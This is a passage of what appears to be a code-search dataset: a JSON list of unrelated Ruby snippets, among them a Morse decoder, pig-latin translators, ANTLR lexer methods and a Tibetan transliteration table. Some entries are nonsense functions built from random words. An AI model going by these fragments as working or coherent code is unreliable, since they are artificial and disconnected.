? word.capitalize : word\n elsif vowels.include?(word[-1])\n new_arr << (capt ? (word * 2).capitalize : word * 2)\n elsif !vowels.include?(word[-1])\n rev_index = word.chars.reverse.index { |char| vowels.include?(char) }\n i = word.length - 1 - rev_index\n new_arr << (capt ? (word + word[i..-1]).capitalize : word + word[i..-1])\n end\n end\n new_arr.join(\" \")\nend","def job\r\n\r\n a = \"闻》4月27日报道】题：中国军机展开前所未有的威吓飞行 据多名政府高官26日透露，就在中国8艘海监船23日侵入尖阁诸岛（即我钓鱼岛及其附属岛屿——本网注）周边日本领海的同时，中国的战斗机等军用飞机在尖阁诸岛周边飞行超过40架次。 军用飞机多数是战斗机，中国投入了新型苏-27和苏-30。这些战斗机趁航空自卫队战斗机飞行员疲惫的时候蜂拥而至。政府高官称这是“前所未有的威吓”。 政府方面认为中国军机的威吓飞行是为了配合海监船侵入领海。 中国军机从上空对海上保安厅的防范态势和海上自卫队护卫舰、P-3C巡逻机的部署进行侦察，估计向海监船进行了通报。 23日上午7时23分至8时25分左右，8艘海监船相继进入尖阁周边海域。其中一艘逼近鱼钓岛（即我钓鱼岛——本网注）西北约一公里处。当日下午7时半左右，8艘海监船离开了日本领海。 在海监船侵入领海之际，中国的战斗机等军用飞机也开始朝尖阁周边飞去。这些飞机交替着逼近尖阁周边上空，每次逼近时航空自卫队那霸基地的F-15等战斗机就紧急出动。飞来的中国军机总共在40架次以上。 \"\r\n # a = \"In the above outline, expression is a Ruby expression \r\n # The ruby code here marker is where the code to executed \r\n # the expression evaluates to false.\"\r\n # xx <span>the</span> xx bbbb the xxxx the bb\r\n # 0123456789012345678901234567890123456789\r\n # a = \"xx the xx bbbb the xxxx the bb\"\r\n kw = \"中国\"\r\n # kw = \"the\"\r\n r = /#{kw}/\r\n marker = 0\r\n t1 = \"<span style='color: blue;'>\"\r\n t2 = \"</span>\"\r\n counter = 0\r\n maxnum = 3\r\n \r\n logout(\"====================================\")\r\n logout(\"a=\" + a)\r\n logout(\"Span added=\" + add_span(a, kw, t1, t2))\r\n \r\n # puts \"a=\" + a\r\n # puts\r\n # \r\n # puts add_span(a, kw, t1, t2)\r\n # puts\r\n \r\n # # 1\r\n # puts \"<1>\"\r\n # \r\n # puts \"r =~ a\"\r\n # puts r =~ a\r\n # \r\n # # 2\r\n # puts \"<2>\"\r\n # puts a\r\n # while r =~ a[marker..(a.size - 1)] && counter < maxnum do\r\n # \r\n # puts \"[Start while]========================\"\r\n # \r\n # puts \"marker=\" + marker.to_s\r\n # \r\n # # point = (r =~ a)\r\n # point = (r =~ a[marker..(a.size - 1)])\r\n # puts \"point=\" + point.to_s\r\n # puts\r\n # \r\n # puts \"a=\" + a\r\n # puts\r\n # \r\n # puts \"a[marker..(a.size - 1)]=\" + a[marker..(a.size - 1)]\r\n # puts\r\n # \r\n # \r\n # \r\n # a.insert(marker + point, t1)\r\n # a.insert(marker + point + t1.size + r.source.size, t2)\r\n # # a.insert(point, t1)\r\n # # a.insert(point + t1.size + r.source.size, t2)\r\n # \r\n # puts \"a=\" + a\r\n # puts\r\n # \r\n # marker += point + t1.size + r.source.size + t2.size\r\n # # marker = point + t1.size + r.source.size + t2.size\r\n # # marker = point + t1.size + r.source.size\r\n # # marker = point\r\n # \r\n # counter += 1\r\n # \r\n # puts \"marker=\" + marker.to_s\r\n # puts \"point=\" + point.to_s\r\n # puts\r\n # \r\n # puts \"[End while========================]\"\r\n # \r\n # end\r\n # \r\n # puts a\r\n \r\n \r\nend","def hermes_catchphrase; end","def dictator_Iraq\n puts \"Saddam formally rose to power in 1979, although he had been the de facto head\n of Iraq for several years prior. Within his own country, he suppressed\n his own citizens, particularly the Shi'a and Kurdish people. He also maintained\n power during the Iran–Iraq War and the Gulf War, and was accused of using\n chemical weapons. To alleviate the threat of revolution, Saddam afforded\n certain benefits to the potentially hostile population. Membership in the\n Ba'ath Party remained open to all Iraqi citizens regardless of background.\n However, repressive measures were taken against its opponents. The major\n instruments for accomplishing this control were the paramilitary and police\n organizations. Saddam was notable for using terror against his own people.\n Saddam's regime was responsible for the deaths of at least 250,000\n Iraqis and committed war crimes in Iran, Kuwait, and Saudi Arabia. Human\n Rights Watch and Amnesty International issued regular reports of widespread\n imprisonment and torture.\"\n\n crazy_acts\n\nend","def commensurably_nemathecium(contentional, arraignment_yeo)\n objectization_underpressure_beautifully()\n adolescent(government)\n end","def mechanic_quest; end","def decodeMorse2(morseCode)\n letters = []\n words = []\n word = \"\"\n sentence = morseCode.split(\" \")\n\n sentence.each_with_index do |x,i|\n letters[i] = x.split(\" \")\n end\n\n 0.upto(letters.length - 1) do |i|\n word = \"\"\n 0.upto(letters[i].length - 1) do |x|\n case letters[i][x]\n when \"...---...\" then word += \"SOS\"\n when \"-.-.--\" then word += \"!\"\n when \".-.-.-\" then word += \".\"\n when \".-\" then word += \"A\"\n when \"-...\" then word += \"B\"\n when \"-.-.\" then word += \"C\"\n when \"-..\" then word += \"D\"\n when \".\" then word += \"E\"\n when \"..-.\" then word += \"F\"\n when \"--.\" then word += \"G\"\n when \"....\" then word += \"H\"\n when \"..\" then word += \"I\"\n when \".---\" then word += \"J\"\n when \"-.-\" then word += \"K\"\n when \".-..\" then word += \"L\"\n when \"--\" then word += \"M\"\n when \"-.\" then word += \"N\"\n when \"---\" then word += \"O\"\n when \".--.\" then word += \"P\"\n when \"--.-\" then word += \"Q\"\n when \".-.\" then word += \"R\"\n when \"...\" then word += \"S\"\n when \"-\" then word += \"T\"\n when \"..-\" then word += \"U\"\n when \"...-\" then word += \"V\"\n when \".--\" then word += \"W\"\n when \"-..-\" then word += \"X\"\n when \"-.--\" then word += \"Y\"\n when \"--..\" then word += \"Z\"\n when \".----\" then word += \"1\"\n when \"..---\" then word += \"2\"\n when \"...--\" then word += \"3\"\n when \"....-\" then word += \"4\"\n when \".....\" then word += \"5\"\n when \"-....\" then word += \"6\"\n when \"--...\" then word += \"7\"\n when \"---..\" then word += \"8\"\n when \"----.\" then word += \"9\"\n when \"-----\" then word += \"0\"\n end\n end\n words << word if word != \"\"\n end\n words.join(\" \")\nend","def indefinite_reflexive_pronoun\n return \"itself\"\n end","def difficultly(qoph_ridding, fadedness_santalaceae)\n biopsychologist_hamidian_tachardiinae()\n inigo()\n huddock_konde(phrenitic, mistake, condurango_cymoscope)\n end","def noun; end","def noun; end","def gluck_italian; end","def schubert; end","def stop_words\n # Words taken from Jonathan Feinberg's cue.language (via jasondavies.com), see lib/cue.language/license.txt.\n \"i|me|my|myself|we|us|our|ours|ourselves|you|your|yours|yourself|yourselves|he|him|his|himself|she|her|hers|herself|it|its|itself|they|them|their|theirs|themselves|what|which|who|whom|whose|this|that|these|those|am|is|are|was|were|be|been|being|have|has|had|having|do|does|did|doing|will|would|should|can|could|ought|im|youre|hes|shes|its|were|theyre|ive|youve|weve|theyve|id|youd|hed|shed|wed|theyd|ill|youll|hell|shell|well|theyll|isnt|arent|wasnt|werent|hasnt|havent|hadnt|doesnt|dont|didnt|wont|wouldnt|shant|shouldnt|cant|cannot|couldnt|mustnt|lets|thats|whos|whats|heres|theres|whens|wheres|whys|hows|a|an|the|and|but|if|or|because|as|until|while|of|at|by|for|with|about|against|between|into|through|during|before|after|above|below|to|from|up|upon|down|in|out|on|off|over|under|again|further|then|once|here|there|when|where|why|how|all|any|both|each|few|more|most|other|some|such|no|nor|not|only|own|same|so|than|too|very|say|says|said|shall\"\nend","def techno_percussion len\n self << len.Dist # bass drum\n mapee_last.clear_hits\n mapee_last << 4.eqly_spaced\n # max len is full, min quarter\n h_num = mapee_last.hits.count\n h_num = 1 if h_num == 0\n mapee_last.length= rand_range(len*0.666/h_num, len*0.11/h_num) \n\n self << len.Dist # snare\n mapee_last.clear_hits\n mapee_last << [0.25,0.75]\n h_num = mapee_last.hits.count\n h_num = 1 if h_num == 0\n mapee_last.length= rand_range(len/h_num, len/h_num/2) \n \n self << len.Dist # hi\n mapee_last.clear_hits\n mapee_last << 4.eqly_spaced\n mapee_last.hits.move(0.125) # offbeats\n h_num = mapee_last.hits.count\n h_num = 1 if h_num == 0\n mapee_last.length= rand_range(len*0.666/h_num, len*0.666/h_num/2) \n \n self\n end","def typoglycemiaWord(input)\n if input.length <= 3\n input\n end\n letters = input.chars\n last = letters.pop\n first = letters.shift\n letters.shuffle!\n letters << first\n letters.rotate!(-1)\n letters << last\n letters.join\nend","def who_we_are\r\n end","def token!\n # at line 1:8: ( T__12 | T__13 | T__14 | T__15 | T__16 | T__17 | T__18 | T__19 | T__20 | T__21 | T__22 | T__23 | T__24 | T__25 | T__26 | T__27 | T__28 | T__29 | T__30 | T__31 | T__32 | T__33 | T__34 | T__35 | T__36 | T__37 | T__38 | T__39 | T__40 | T__41 | T__42 | T__43 | T__44 | T__45 | T__46 | T__47 | T__48 | T__49 | T__50 | T__51 | T__52 | T__53 | T__54 | T__55 | T__56 | T__57 | T__58 | T__59 | ST | ND | RD | TH | DIGIT | WS | EOL | LETTER )\n alt_7 = 56\n alt_7 = @dfa7.predict( @input )\n case alt_7\n when 1\n # at line 1:10: T__12\n t__12!\n\n when 2\n # at line 1:16: T__13\n t__13!\n\n when 3\n # at line 1:22: T__14\n t__14!\n\n when 4\n # at line 1:28: T__15\n t__15!\n\n when 5\n # at line 1:34: T__16\n t__16!\n\n when 6\n # at line 1:40: T__17\n t__17!\n\n when 7\n # at line 1:46: T__18\n t__18!\n\n when 8\n # at line 1:52: T__19\n t__19!\n\n when 9\n # at line 1:58: T__20\n t__20!\n\n when 10\n # at line 1:64: T__21\n t__21!\n\n when 11\n # at line 1:70: T__22\n t__22!\n\n when 12\n # at line 1:76: T__23\n t__23!\n\n when 13\n # at line 1:82: T__24\n t__24!\n\n when 14\n # at line 1:88: T__25\n t__25!\n\n when 15\n # at line 1:94: T__26\n t__26!\n\n when 16\n # at line 1:100: T__27\n t__27!\n\n when 17\n # at line 1:106: T__28\n t__28!\n\n when 18\n # at line 1:112: T__29\n t__29!\n\n when 19\n # at line 1:118: T__30\n t__30!\n\n when 20\n # at line 1:124: T__31\n t__31!\n\n when 21\n # at line 1:130: T__32\n t__32!\n\n when 22\n # at line 1:136: T__33\n t__33!\n\n when 23\n # at line 1:142: T__34\n t__34!\n\n when 24\n # at line 1:148: T__35\n t__35!\n\n when 25\n # at line 1:154: T__36\n t__36!\n\n when 26\n # at line 1:160: T__37\n t__37!\n\n when 27\n # at line 1:166: T__38\n t__38!\n\n when 28\n # at line 1:172: T__39\n t__39!\n\n when 29\n # at line 1:178: T__40\n t__40!\n\n when 30\n # at line 1:184: T__41\n t__41!\n\n when 31\n # at line 1:190: T__42\n t__42!\n\n when 32\n # at line 1:196: T__43\n t__43!\n\n when 33\n # at line 1:202: T__44\n t__44!\n\n when 34\n # at line 1:208: T__45\n t__45!\n\n when 35\n # at line 1:214: T__46\n t__46!\n\n when 36\n # at line 1:220: T__47\n t__47!\n\n when 37\n # at line 1:226: T__48\n t__48!\n\n when 38\n # at line 1:232: T__49\n t__49!\n\n when 39\n # at line 1:238: T__50\n t__50!\n\n when 40\n # at line 1:244: T__51\n t__51!\n\n when 41\n # at line 1:250: T__52\n t__52!\n\n when 42\n # at line 1:256: T__53\n t__53!\n\n when 43\n # at line 1:262: T__54\n t__54!\n\n when 44\n # at line 1:268: T__55\n t__55!\n\n when 45\n # at line 1:274: T__56\n t__56!\n\n when 46\n # at line 1:280: T__57\n t__57!\n\n when 47\n # at line 1:286: T__58\n t__58!\n\n when 48\n # at line 1:292: T__59\n t__59!\n\n when 49\n # at line 1:298: ST\n st!\n\n when 50\n # at line 1:301: ND\n nd!\n\n when 51\n # at line 1:304: RD\n rd!\n\n when 52\n # at line 1:307: TH\n th!\n\n when 53\n # at line 1:310: DIGIT\n digit!\n\n when 54\n # at line 1:316: WS\n ws!\n\n when 55\n # at line 1:319: EOL\n eol!\n\n when 56\n # at line 1:323: LETTER\n letter!\n\n end\n end","def banana(name)\n\n# For names that start with vowels\nif name.downcase.start_with?('a','e','i','o','u')\n mod_name = name.downcase\n# For names that begin with a 2-letter consonant cluster\nelsif name.downcase.start_with?('bl', 'br', 'cl', 'cr', 'dr', 'fl', 'fr', 'gl', 'gr', 'pl', 'pr', 'sc', 'sk', 'sl', 'sm', 'sn', 'sp', 'st', 'sw', 'th', 'tr', 'ch')\n mod_name = name.slice(2..-1)\n# For names that begin with a 3-letter consonant cluster\nelsif name.downcase.start_with?('chr', 'thr', 'sch', 'scl', 'scr', 'shr', 'spl', 'spr', 'str', 'squ')\n mod_name = name.slice(3..-1)\n# For all other names\nelse\n mod_name = name.downcase.slice(1..-1)\nend\n\nif name.downcase == \"orange\"\n\tputs \"Nothing rhymes with orange.\"\nelse\nputs name.capitalize + \", \" + name.capitalize + \", bo-\" + (name.downcase.start_with?('b') ? mod_name.downcase.slice(0..-1) : \"b\"+mod_name) + \" \\r\\n\" + \n\"Banana-fana fo-\" + (name.downcase.start_with?('f') ? mod_name.downcase.slice(0..-1) : \"f\"+mod_name) + \" \\r\\n\" + \n\"Fee-Fi-mo-\" + (name.downcase.start_with?('m') ? mod_name.downcase.slice(0..-1) : \"m\"+mod_name) + \" \\r\\n\" + \nname.upcase + \"!\"\nend\n\nend","def flaw_mutations_determination(roll)\n case roll\n when 01..02\n @@flaw_mutations << \"Abnormal Anxiety\"\n when 03..04\n @@flaw_mutations << \"Altered Digestive Tract\"\n when 05..06\n @@flaw_mutations << \"Baldness\"\n when 07..17\n @@flaw_mutations << \"Birth Defect\"\n when 18..19\n @@flaw_mutations << \"Blocked Sinuses\"\n when 20..21\n @@flaw_mutations << \"Chronic Acne\"\n when 22..23\n @@flaw_mutations << \"Chronic Dermatitis\"\n when 24..25\n @@flaw_mutations << \"Chronic IngrownHairs\"\n when 26..27\n @@flaw_mutations << \"Chronic Ulcers\"\n when 28..29\n @@flaw_mutations << \"Coronary Thrombosis\"\n when 30..31\n @@flaw_mutations << \"Degenerated Nervous System\"\n when 32..33\n @@flaw_mutations << \"Dizziness\"\n when 34..35\n @@flaw_mutations << \"Early Menopause (females only)\"\n when 36..37\n @@flaw_mutations << \"Excessive Lung Fluid\"\n when 38..39\n @@flaw_mutations << \"Exhaustion\"\n when 40..41\n @@flaw_mutations << \"Extensive Warts\"\n when 42..43\n @@flaw_mutations << \"Extreme Halitosis\"\n when 44..45\n @@flaw_mutations << \"Faulty Immune System\"\n when 46\n @@flaw_mutations << \"Flammable Tissues\"\n when 47\n @@flaw_mutations << \"Hemophilia\"\n when 48..49\n @@flaw_mutations << \"Hormone Disorder\"\n when 50..51\n @@flaw_mutations << \"Inadequate Nerve Endings\"\n when 52\n @@flaw_mutations << \"Increased Aging\"\n when 53\n @@flaw_mutations << \"Increased Flatulence\"\n when 54..57\n @@flaw_mutations << \"Intense Allergy\"\n when 58..59\n @@flaw_mutations << \"Male Menopause (males only)\"\n when 60..61\n @@flaw_mutations << \"Migraine Headaches\"\n when 62..63\n @@flaw_mutations << \"Osteoporosis\"\n when 64..65\n @@flaw_mutations << \"Permanent Rhinitis\"\n when 66..67\n @@flaw_mutations << \"Perpetual Hiccups\"\n when 68..69\n @@flaw_mutations << \"Pre-Senile Dementia\"\n when 70..71\n @@flaw_mutations << \"Psoriasis\"\n when 72..73\n @@flaw_mutations << \"Reactionary Scent\"\n when 74\n @@flaw_mutations << \"Repeat Paralysis\"\n when 75\n @@flaw_mutations << \"Sonic Intolerance\"\n when 76..77\n @@flaw_mutations << \"Sterility\"\n when 78..79\n @@flaw_mutations << \"Tapeworms\"\n when 80..81\n @@flaw_mutations << \"Tooth Decay\"\n when 82..86\n @@flaw_mutations << \"Toxic Susceptibility\"\n when 87..88\n @@flaw_mutations << \"Tranquilizer Agent\"\n when 89..94\n @@flaw_mutations << \"Visual Disorder\"\n when 95..96\n @@flaw_mutations << \"Voice Disorder\"\n when 97..98\n @@flaw_mutations << \"Weeping\"\n when 99..00\n @@flaw_mutations << \"Whistle Croup\"\n end\n end","def token!\n # at line 1:8: ( T__48 | T__49 | T__50 | T__51 | T__52 | CATEGORY_KEY | LINK_KEY | X_OCCI_ATTRIBUTE_KEY | X_OCCI_LOCATION_KEY | ACTION | ACTIONS | AMPERSAND | AT | ATTRIBUTES | BACKSLASH | CATEGORY | CLASS | COLON | DASH | DOT | EQUALS | GT | HASH | KIND | LINK | LOCATION | LT | MIXIN | PERCENT | PLUS | QUESTION | QUOTE | REL | SCHEME | SELF | SEMICOLON | SLASH | SQUOTE | TERM | TILDE | TITLE | UNDERSCORE | LBRACKET | RBRACKET | LOALPHA | UPALPHA | DIGIT | WS | ESC )\n alt_5 = 49\n alt_5 = @dfa5.predict( @input )\n case alt_5\n when 1\n # at line 1:10: T__48\n t__48!\n\n when 2\n # at line 1:16: T__49\n t__49!\n\n when 3\n # at line 1:22: T__50\n t__50!\n\n when 4\n # at line 1:28: T__51\n t__51!\n\n when 5\n # at line 1:34: T__52\n t__52!\n\n when 6\n # at line 1:40: CATEGORY_KEY\n category_key!\n\n when 7\n # at line 1:53: LINK_KEY\n link_key!\n\n when 8\n # at line 1:62: X_OCCI_ATTRIBUTE_KEY\n x_occi_attribute_key!\n\n when 9\n # at line 1:83: X_OCCI_LOCATION_KEY\n x_occi_location_key!\n\n when 10\n # at line 1:103: ACTION\n action!\n\n when 11\n # at line 1:110: ACTIONS\n actions!\n\n when 12\n # at line 1:118: AMPERSAND\n ampersand!\n\n when 13\n # at line 1:128: AT\n at!\n\n when 14\n # at line 1:131: ATTRIBUTES\n attributes!\n\n when 15\n # at line 1:142: BACKSLASH\n backslash!\n\n when 16\n # at line 1:152: CATEGORY\n category!\n\n when 17\n # at line 1:161: CLASS\n class!\n\n when 18\n # at line 1:167: COLON\n colon!\n\n when 19\n # at line 1:173: DASH\n dash!\n\n when 20\n # at line 1:178: DOT\n dot!\n\n when 21\n # at line 1:182: EQUALS\n equals!\n\n when 22\n # at line 1:189: GT\n gt!\n\n when 23\n # at line 1:192: HASH\n hash!\n\n when 24\n # at line 1:197: KIND\n kind!\n\n when 25\n # at line 1:202: LINK\n link!\n\n when 26\n # at line 1:207: LOCATION\n location!\n\n when 27\n # at line 1:216: LT\n lt!\n\n when 28\n # at line 1:219: MIXIN\n mixin!\n\n when 29\n # at line 1:225: PERCENT\n percent!\n\n when 30\n # at line 1:233: PLUS\n plus!\n\n when 31\n # at line 1:238: QUESTION\n question!\n\n when 32\n # at line 1:247: QUOTE\n quote!\n\n when 33\n # at line 1:253: REL\n rel!\n\n when 34\n # at line 1:257: SCHEME\n scheme!\n\n when 35\n # at line 1:264: SELF\n self!\n\n when 36\n # at line 1:269: SEMICOLON\n semicolon!\n\n when 37\n # at line 1:279: SLASH\n slash!\n\n when 38\n # at line 1:285: SQUOTE\n squote!\n\n when 39\n # at line 1:292: TERM\n term!\n\n when 40\n # at line 1:297: TILDE\n tilde!\n\n when 41\n # at line 1:303: TITLE\n title!\n\n when 42\n # at line 1:309: UNDERSCORE\n underscore!\n\n when 43\n # at line 1:320: LBRACKET\n lbracket!\n\n when 44\n # at line 1:329: RBRACKET\n rbracket!\n\n when 45\n # at line 1:338: LOALPHA\n loalpha!\n\n when 46\n # at line 1:346: UPALPHA\n upalpha!\n\n when 47\n # at line 1:354: DIGIT\n digit!\n\n when 48\n # at line 1:360: WS\n ws!\n\n when 49\n # at line 1:363: ESC\n esc!\n\n end\n end","def repair(text); end","def broad_sword\n # use regexp since .. is used for wildcard\n Regexp.new s_to_h(<<-S)\n B1 96 B1 D3 ED AE 5F 92 F4 65 03 01 .. FF FF FF\n FF .. .. .. .. 23 19 01 0B 00 00 00 00 08 00 00\n 00 2A 00 00 00 00 00 00 00 02 00 00 00 00 00 00\n 00 02 00 00 00 02 00 00 00 99 32 C5 C4 CC 57 6D\n 43 87 6B 03 01 FF FF FF FF 99 32 C5 C4 CC 57 6D\n 43 27 9E 00 01 FF FF FF FF 01 00 00 00 99 32 C5\n C4 CC 57 6D 43 27 9E 00 01 FF FF FF FF 13 00 00\n 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 00 00 00 00 00 00 00 00 00 06 00 00 00 00 00 00\n 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00\n 00\n S\nend","def puncture\n end","def celebration; end","def king_richard_iii_quote; end","def tuc(arg)\n h = Hash.[](\".\"=>\"་\", \"/\"=>\"།\", \";\"=>\"༔\", \"\"=>\"\",\n \"ka\"=>\"ཀ\", \"kha\"=>\"ཁ\", \"ga\"=>\"ག\", \"nga\"=>\"ང\",\n \"ca\"=>\"ཅ\", \"cha\"=>\"ཆ\", \"ja\"=>\"ཇ\", \"nya\"=>\"ཉ\",\n \"ta\"=>\"ཏ\", \"tha\"=>\"ཐ\", \"da\"=>\"ད\", \"na\"=>\"ན\",\n \"pa\"=>\"པ\", \"pha\"=>\"ཕ\", \"ba\"=>\"བ\", \"ma\"=>\"མ\",\n \"tsa\"=>\"ཙ\", \"tsha\"=>\"ཚ\", \"dza\"=>\"ཛ\", \"wa\"=>\"ཝ\",\n \"zha\"=>\"ཞ\", \"za\"=>\"ཟ\", \"'a\"=>\"འ\", \"ya\"=>\"ཡ\",\n \"ra\"=>\"ར\", \"la\"=>\"ལ\", \"sha\"=>\"ཤ\", \"sa\"=>\"ས\",\n \"ha\"=>\"ཧ\", \"a\"=>\"ཨ\",\n # numbers !!! better include number_generator\n \"0\"=>\"༠\", \"1\"=>\"༡\", \"2\"=>\"༢\", \"3\"=>\"༣\",\n \"4\"=>\"༤\", \"5\"=>\"༥\", \"6\"=>\"༦\", \"7\"=>\"༧\",\n \"8\"=>\"༨\", \"9\"=>\"༩\",\n # vowel signs\n \".e\"=>\"ེ\", \".i\"=>\"ི\", \".o\"=>\"ོ\", \".u\"=>\"ུ\",\n # double vowel signs\n \"E\" => \"ཻ\", \"O\" => \"ཽ\",\n # subscribed characters\n \"x_ka\"=>\"ྐ\", \"x_kha\"=>\"ྑ\", \"x_ga\"=>\"ྒ\", \"x_nga\"=>\"ྔ\",\n \"x_ca\"=>\"ྕ\", \"x_cha\"=>\"ྖ\", \"x_ja\"=>\"ྗ\", \"x_nya\"=>\"ྙ\",\n \"x_ta\"=>\"ྟ\", \"x_tha\"=>\"ྐ\", \"x_da\"=>\"ྡ\", \"x_na\"=>\"ྣ\",\n \"x_pa\"=>\"ྤ\", \"x_pha\"=>\"ྥ\", \"x_ba\"=>\"ྦ\", \"x_ma\"=>\"ྨ\",\n \"x_tsa\"=>\"ྩ\", \"x_tsha\"=>\"ྪ\", \"x_dza\"=>\"ྫ\", \"x_wa\"=>\"ྭ\",\n \"x_zha\"=>\"ྮ\", \"x_za\"=>\"ྯ\", \"x_'a\"=>\"ཱ\", \"x_ya\"=>\"ྱ\",\n \"x_ra\"=>\"ྲ\", \"x_la\"=>\"ླ\", \"x_sha\"=>\"ྴ\", \"x_sa\"=>\"ྶ\",\n \"x_ha\"=>\"ྷ\", \"x_a\"=>\"ྸ\",\n # superscribed character\n \"ra_x\"=>\"ར\",\n # revered letters\n \"Ta\"=>\"ཊ\", \"Tha\" => \"ཋ\", \"Da\" => \"ཌ\", \"Na\" => \"ཎ\",\n \"Sha\" => \"ཥ\")\n\n result = h[arg]\n if result != nil\n erg = result\n else\n erg = \"\"\n end\n return erg\n end","def ragman_quest; end","def hornlike(adet_mortification, hyperconscious)\n shadowiness_priceable(disinterment, pericellular_homogenization)\n counterbreastwork_knickerbockered()\n subspecialty_universalian(whereon, ciliated_papaverous, eurhodine)\n end","def sittinae_hooey(scrawny_appulsion, termly)\n end","def drupal(counterquartered, pantryman)\n ulua()\n nonremonstrance_novial_tautoousian(englishly_lamboys)\n dissert_dilleniaceous(contralto_morne, geniohyoglossal, aptotic_inherency)\n end","def token!\n # at line 1:8: ( T__30 | T__31 | T__32 | T__33 | T__34 | T__35 | T__36 | T__37 | T__38 | T__39 | T__40 | T__41 | T__42 | T__43 | T__44 | T__45 | T__46 | T__47 | T__48 | T__49 | T__50 | T__51 | T__52 | T__53 | T__54 | INTEGER | FLOAT | BOOLEAN | STRING | CHAR | INIT | OPEN | CLOSE | TYPE_INT | TYPE_FLOAT | TYPE_STRING | TYPE_BOOL | TYPE_VOID | ENTITY | COMPONENT | SYSTEM | ENUM | IF | ELSE | RETURN | WHILE | IDENT | WS | COMMENT | MULTILINE_COMMENT | NL )\n alt_9 = 51\n alt_9 = @dfa9.predict( @input )\n case alt_9\n when 1\n # at line 1:10: T__30\n t__30!\n\n\n when 2\n # at line 1:16: T__31\n t__31!\n\n\n when 3\n # at line 1:22: T__32\n t__32!\n\n\n when 4\n # at line 1:28: T__33\n t__33!\n\n\n when 5\n # at line 1:34: T__34\n t__34!\n\n\n when 6\n # at line 1:40: T__35\n t__35!\n\n\n when 7\n # at line 1:46: T__36\n t__36!\n\n\n when 8\n # at line 1:52: T__37\n t__37!\n\n\n when 9\n # at line 1:58: T__38\n t__38!\n\n\n when 10\n # at line 1:64: T__39\n t__39!\n\n\n when 11\n # at line 1:70: T__40\n t__40!\n\n\n when 12\n # at line 1:76: T__41\n t__41!\n\n\n when 13\n # at line 1:82: T__42\n t__42!\n\n\n when 14\n # at line 1:88: T__43\n t__43!\n\n\n when 15\n # at line 1:94: T__44\n t__44!\n\n\n when 16\n # at line 1:100: T__45\n t__45!\n\n\n when 17\n # at line 1:106: T__46\n t__46!\n\n\n when 18\n # at line 1:112: T__47\n t__47!\n\n\n when 19\n # at line 1:118: T__48\n t__48!\n\n\n when 20\n # at line 1:124: T__49\n t__49!\n\n\n when 21\n # at line 1:130: T__50\n t__50!\n\n\n when 22\n # at line 1:136: T__51\n t__51!\n\n\n when 23\n # at line 1:142: T__52\n t__52!\n\n\n when 24\n # at line 1:148: T__53\n t__53!\n\n\n when 25\n # at line 1:154: T__54\n t__54!\n\n\n when 26\n # at line 1:160: INTEGER\n integer!\n\n\n when 27\n # at line 1:168: FLOAT\n float!\n\n\n when 28\n # at line 1:174: BOOLEAN\n boolean!\n\n\n when 29\n # at line 1:182: STRING\n string!\n\n\n when 30\n # at line 1:189: CHAR\n char!\n\n\n when 31\n # at line 1:194: INIT\n init!\n\n\n when 32\n # at line 1:199: OPEN\n open!\n\n\n when 33\n # at line 1:204: CLOSE\n close!\n\n\n when 34\n # at line 1:210: TYPE_INT\n type_int!\n\n\n when 35\n # at line 1:219: TYPE_FLOAT\n type_float!\n\n\n when 36\n # at line 1:230: TYPE_STRING\n type_string!\n\n\n when 37\n # at line 1:242: TYPE_BOOL\n type_bool!\n\n\n when 38\n # at line 1:252: TYPE_VOID\n type_void!\n\n\n when 39\n # at line 1:262: ENTITY\n entity!\n\n\n when 40\n # at line 1:269: COMPONENT\n component!\n\n\n when 41\n # at line 1:279: SYSTEM\n system!\n\n\n when 42\n # at line 1:286: ENUM\n enum!\n\n\n when 43\n # at line 1:291: IF\n if!\n\n\n when 44\n # at line 1:294: ELSE\n else!\n\n\n when 45\n # at line 1:299: RETURN\n return!\n\n\n when 46\n # at line 1:306: WHILE\n while!\n\n\n when 47\n # at line 1:312: IDENT\n ident!\n\n\n when 48\n # at line 1:318: WS\n ws!\n\n\n when 49\n # at line 1:321: COMMENT\n comment!\n\n\n when 50\n # at line 1:329: MULTILINE_COMMENT\n multiline_comment!\n\n\n when 51\n # at line 1:347: NL\n nl!\n\n\n end\n end","def gerund\n b = gerundive.sub( /.*\\s+(.*)um.*$/, \"\\\\1\" )\n b += \"ī, ō, etc.\"\n return b\n end","def translate(str)\n\n\n\n # Vowels to consider\n vowels = [\"a\", \"e\", \"i\", \"o\", \"u\"]\n \n # Special cases to consider\n two_letter_consonants = [\"ch\", \"sh\", \"qu\", \"th\", \"br\"]\n three_letter_consonants = [\"thr\", \"sch\", \"squ\"]\n\n words = str.split(\" \")\n result = []\n\n words.each do |word|\n if vowels.include?(word[0])\n result.push word << \"ay\"\n else \n if three_letter_consonants.include? (word[0] + word[1] + word[2])\n first_three_letters = word.slice!(0,3)\n \n # Add letters to end of word with 'ay'\n result.push word << first_three_letters << 'ay'\n elsif two_letter_consonants.include?(word[0] + word[1])\n first_two_letters = word.slice!(0,2)\n result.push word << first_two_letters << \"ay\"\n else \n first_letter = word.slice!(0)\n \n # Add first letter to end of word with 'ay'\n result.push word << first_letter << 'ay'\n end #End of special consonant check\n end \n end \n return result.join(\" \")\nend","def gluck_french; end","def bizet; end"],"string":"[\n \"def silly_adjective; end\",\n \"def emotional_adjective; end\",\n \"def nonstriker_perimartium(pronunciation_crotched)\\n end\",\n \"def badish\\n# Post process each bad entry to match against the profesor names in a regular expression fashion\\nbad.each do |item|\\n # unpack\\n id = materias[item][0]\\n rfc = materias[item][3]\\n p_name = materias[item][4]\\n #puts materias[item].inspect if (DEBUG)\\n\\n #name = []\\n profesores.each do |profesor|\\n # normalize string and split into words\\n name = profesor[1].chomp.upcase.gsub(/\\\\s+/,' ').gsub(/(M\\\\.[ICAG]|L\\\\.A|I\\\\.Q|ING|FIS|MTRO|MRTO|DRA?)\\\\.?$/,\\\"\\\").split(\\\" \\\")\\n # match the known name against a regular expression\\n if (name.length >= 5)\\n regex = Regexp.new(\\\"^\\\"+name[0]+\\\" \\\"+name[1]+\\\" \\\"+name[2]+\\\" \\\"+name[3]+\\\" \\\"+name[4])\\n puts [p_name , name , regex].inspect if (p_name =~ regex)\\n end\\n if (name.length >= 4)\\n regex = Regexp.new(\\\"^\\\"+name[0]+\\\" \\\"+name[1]+\\\" \\\"+name[2]+\\\" \\\"+name[3])\\n puts [p_name , name , regex].inspect if (p_name =~ regex)\\n end\\n if (name.length >= 3)\\n regex = 